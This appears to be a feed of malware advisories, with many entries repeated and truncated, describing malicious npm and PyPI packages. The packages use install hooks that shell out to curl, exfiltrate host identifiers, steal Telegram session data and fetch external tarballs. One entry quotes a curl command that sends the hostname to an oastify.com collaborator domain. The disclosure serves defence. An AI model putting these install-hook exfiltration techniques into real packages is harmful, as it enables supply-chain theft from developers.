MAL-2026-16370 Malicious code in @uol-afiliados/affiliated-config-lib (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 2cd4acce57eda08c1b8716118854cad32ecfc59e35e91c03d664ac452ee6716d @uol-afiliados/[email protected] declares a preinstall hook node index.js that shells out via require'childprocess'.exec to run curl...

Malicious code in @uol-afiliados/affiliated-config-lib (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 2cd4acce57eda08c1b8716118854cad32ecfc59e35e91c03d664ac452ee6716d @uol-afiliados/[email protected] declares a preinstall hook node index.js that shells out via require'childprocess'.exec to run curl...

MAL-2026-16367 Malicious code in math-universe (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 56531c01050420c568bebedd6e3546cc0087600a86d7d19e4954c8277551adb8 The package was found to contain malicious code or consuming dependency that contains malicious code Source: ghsa-malware...

Malicious code in math-universe (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 56531c01050420c568bebedd6e3546cc0087600a86d7d19e4954c8277551adb8 The package was found to contain malicious code or consuming dependency that contains malicious code Source: ghsa-malware...

MAL-2026-16369 Malicious code in mathsbase (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector b558d1a63774399879f32cafb1ce2bd4366a9f879d5d185dc6eb86df6480fe30 The package was found to contain malicious code or consuming dependency that contains malicious code Source: ghsa-malware...

Malicious code in mathsbase (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector b558d1a63774399879f32cafb1ce2bd4366a9f879d5d185dc6eb86df6480fe30 The package was found to contain malicious code or consuming dependency that contains malicious code Source: ghsa-malware...

MAL-2026-16364 Malicious code in bytepack-probe-a7x3 (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 1f158536e9d84e6cee18e2a3ce84869e34f1564ec18a1313a9e8c03b304e3d70 package.json declares a dependency leak-internal whose source is the HTTPS tarball URL https://src-ssrf.bytedance.net/ssrf/probe.tgz rather than a...

Malicious code in bytepack-probe-a7x3 (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 1f158536e9d84e6cee18e2a3ce84869e34f1564ec18a1313a9e8c03b304e3d70 package.json declares a dependency leak-internal whose source is the HTTPS tarball URL https://src-ssrf.bytedance.net/ssrf/probe.tgz rather than a...

Malicious code in blue-string-formatter-utilss (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector de9e55c734c18f91b4b3a043dd6539097aa4e57056ff9dca6df1a9d3a3631c25 The package advertises itself as string-formatting utilities but ships no formatter code. Its main entry payload.js is an IIFE that creates a element...

MAL-2026-16363 Malicious code in blue-string-formatter-utilss (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector de9e55c734c18f91b4b3a043dd6539097aa4e57056ff9dca6df1a9d3a3631c25 The package advertises itself as string-formatting utilities but ships no formatter code. Its main entry payload.js is an IIFE that creates a element...

Malicious code in my-ctf-helper-script-9921 (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 41ee1dafe6dce8750ac695c9d13e13c2808e2f35d94bbbcc41a4444a02541409 On require/import, the package's main module executes a top-level fetch to the hardcoded collector URL...

MAL-2026-16365 Malicious code in my-ctf-helper-script-9921 (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 41ee1dafe6dce8750ac695c9d13e13c2808e2f35d94bbbcc41a4444a02541409 On require/import, the package's main module executes a top-level fetch to the hardcoded collector URL...

MAL-2026-16366 Malicious code in pullgetsage (PyPI)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 93b751049f78b324983511537b6c053a0ed080639dd7c447d87494eabc134ba3 On import, init.py archives the installer's Telegram Desktop tdata directory %APPDATA%/Telegram Desktop/tdata into a zip named 'aiosendletterlogs' an...

MAL-2026-16357 Malicious code in @asdfaskdjfksadhfkasf/nadaver2 (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector ffa99497d70b8eae199242d576c111b7b351efcf5d81d613e3f7b43eec257f27 The package declares a preinstall lifecycle script that executes index.js on npm install. index.js uses childprocess.exec to run a curl command whose...

Malicious code in @uh-platform/webcard (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 2b9f7c250a563ff0915cbcdb1e2fa8a402094c030d7223a726c69ffea6de4b8c @uh-platform/[email protected] declares a preinstall hook that runs index.js, which shells out to curl against a unique Burp Collaborator subdomain at...

MAL-2026-16358 Malicious code in @uh-platform/cloud (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 83c05c6e1f06ed934a3ec5f9cc0390716163153b53022c9f414d61f70f1cb451 The package's preinstall lifecycle script index.js runs childprocess.exec of curl "http://$hostname.pa33pg1od9cr4ffnrzec8864jvpmdd12.oastify.com/",...

Malicious code in hardhat-devkit (npm)

Source: amazon-inspector ddcb676af47bf26017d1fbc2cf63aae76d09e9248e860f6d0e86d57da92d2b95 Package published as hardhat-devkit presents itself as an Ethereum/Hardhat developer toolkit, but the shipped surface is a cover story: README, index.d.ts, and keywords fast, logger, stream, json are copied...

MAL-2026-16355 Malicious code in gemini-computer-use (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 56b34e8766d76b6b5c93094a8c8288f85fbb505fef68634a7bdf395abaebb329 The package's bin/cli.js — declared as both main and bin in package.json — unconditionally runs curl -fsSL...

MAL-2026-16354 Malicious code in @woodpecker-web-shared/components (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 5f5f21bcc5464689c5b7c70819eeca4ea481f76b5f7dac0358cfe2d967da235f On npm install, the package's postinstall hook runs node index.js, which collects installer host identifiers os.hostname, os.userInfo.username,...

MAL-2026-16352 Malicious code in @baanx/blockchain-config (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 0b6dec4d715e2863e7f55749d6d2a390926f3f2f1df62e4de223c6acc818632d The package runs a bootstrap from both its install lifecycle script node index.js and its main module that invokes an obfuscated probe. The probe rea...